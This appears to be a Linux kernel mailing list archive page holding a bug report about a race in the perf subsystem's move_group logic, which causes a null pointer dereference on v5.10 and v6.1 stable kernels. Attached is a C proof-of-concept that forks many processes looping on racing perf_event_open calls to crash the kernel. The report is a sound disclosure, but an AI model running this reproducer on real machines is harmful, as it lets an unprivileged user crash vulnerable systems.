From: Kyle Zeng <zengyhkyle@gmail.com>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org
Subject: nullptr-deference in perf
Date: Fri, 6 Oct 2023 22:47:57 -0700 [thread overview]
Message-ID: <ZSDxDZR5hoaKTCdP@westworld> (raw)
[-- Attachment #1: Type: text/plain, Size: 1314 bytes --]
Hi there,
I found a nullptr dereference in perf subsystem and it affects at least
v5.10 and v6.1 stable trees. (the same poc cannot trigger the crash in
the mainline).
I fail to find the root cause the bug. All I know is that it is a race
condition in the logic of moving_groups from pure software-based perf
events to hardware ones. More specifically, when we add a hardware perf
event to a software event group, it will trigger a "move_group" logic in
perf_event_open. When the "move_group" logic happens, it will remove all
existing events from the context first using `perf_remove_from_context`.
And it will invoke `__perf_remove_from_context` through
`event_function_call`.
Notice that `event_function_call` is defined as follow:
~~~
static void event_function_call(struct perf_event *event, event_f func, void *data)
{
...
func(event, NULL, ctx, data);
...
}
~~~
This means `__perf_remove_from_context` will be invoked with
cpuctx==NULL, which leads to invoking `event_sched_out` with cpuctx ==
NULL.
At this moment, as long as the event is active, we are going to invoke
the `if (event->attr.exclusive || !cpuctx->active_oncpu)` logic, which
is a null pointer deference.
I don't know the proper way to patch this bug. So I'm asking for help.
A reproducer is attached to this email.
Best,
Kyle Zeng
[-- Attachment #2: poc.c --]
[-- Type: text/x-csrc, Size: 1889 bytes --]
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <assert.h>
#include <linux/perf_event.h>
#include <linux/futex.h>
int pid;
int group_fd;
void context_setup()
{
int ret;
struct perf_event_attr attr = {0};
pid = getpid();
attr.type = PERF_TYPE_SOFTWARE;
attr.config = PERF_COUNT_SW_CPU_CLOCK;
attr.size = sizeof(attr);
attr.exclude_kernel = 1;
group_fd = syscall(__NR_perf_event_open, &attr, pid, 0, -1, 0); // group_fd = -1
// printf("group_fd: %d\n", group_fd);
assert(group_fd != -1);
//set_cpu(0);
}
void *func1(void *arg)
{
//set_cpu(2);
struct perf_event_attr attr = {.size = sizeof(attr)};
attr.type = PERF_TYPE_SOFTWARE;
attr.config = PERF_COUNT_SW_CPU_CLOCK;
attr.exclude_kernel = 1;
for(int i = 0; i < 0x20; i++)
syscall(__NR_perf_event_open, &attr, pid, 0, group_fd, 0);
}
void *func2(void *arg)
{
//set_cpu(1);
struct perf_event_attr attr = {.size = sizeof(attr)};
attr.type = PERF_TYPE_HARDWARE;
attr.config = PERF_COUNT_HW_CPU_CYCLES;
attr.exclude_kernel = 1;
syscall(__NR_perf_event_open, &attr, pid, 0, group_fd, 0);
}
void execute_two()
{
pthread_t tid1, tid2;
pthread_create(&tid1, NULL, func1, NULL);
pthread_create(&tid2, NULL, func2, NULL);
// set_cpu(0);
pthread_join(tid1, NULL);
pthread_join(tid2, NULL);
}
static void loop(void)
{
while(1) {
if(!fork()) {
context_setup();
execute_two();
exit(0);
}
wait(NULL);
}
}
int main(void)
{
for(int i=0; i<16; i++) {
if(!fork()) {
loop();
}
}
sleep(100000000);
return 0;
}
next reply other threads:[~2023-10-07 5:48 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2023-10-07 5:47 Kyle Zeng [this message]
2023-10-07 7:10 ` nullptr-deference in perf Greg KH
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=ZSDxDZR5hoaKTCdP@westworld \
--to=zengyhkyle@gmail.com \
--cc=linux-kernel@vger.kernel.org \
--cc=stable@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.